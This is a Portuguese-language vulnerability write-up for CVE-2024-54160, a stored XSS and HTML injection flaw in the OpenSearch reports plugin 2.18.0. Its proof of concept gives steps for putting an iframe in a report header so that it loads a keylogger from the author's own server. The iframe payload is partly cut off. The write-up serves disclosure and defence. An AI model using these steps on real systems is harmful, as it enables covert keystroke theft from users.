[CVE-2024-54160]-Injeção de HTML do Opensearch + XSS Armazenado

Foi descoberto que o plugin do Opensearch chamado "reports" era vulnerável a injeção de HTML na versão 2.18.0. A funcionalidade de relatórios permitia que os usuários armazenassem HTML no cabeçalho e rodapé ao criar uma nova definição de relatório. Abaixo está uma prova de conceito rápida onde armazenei um iframe na funcionalidade de cabeçalho que buscava um keylogger JavaScript do meu computador local, que registrava as teclas digitadas pelo usuário.

PoC

1. Edite o arquivo keylogger.html e adicione um IP local onde o python3 http.server está rodando.
2. Salve o keylogger.html
3. Inicie o servidor python3 com "python3 -m http.server" no mesmo diretório do arquivo keylogger.html
4. Vá para Reports
5. Preencha os campos obrigatórios
6. Selecione PDF
7. Ative o cabeçalho ou rodapé
8. Insira o payload do iframe -> :8000/keylogger.html">
9. Clique em "Preview" - O keylogger deve ser carregado a partir do servidor python
10. Digite algo no teclado e observe a resposta no servidor python

Captura de tela da PoC em ação

• O conteúdo do iframe é renderizado à esquerda (eu sei que é simples e feio, mas funciona para uma PoC :) ).
• As teclas registradas são mostradas à direita. (A PoC do keylogger não foi ideal, pois perdeu algumas teclas!)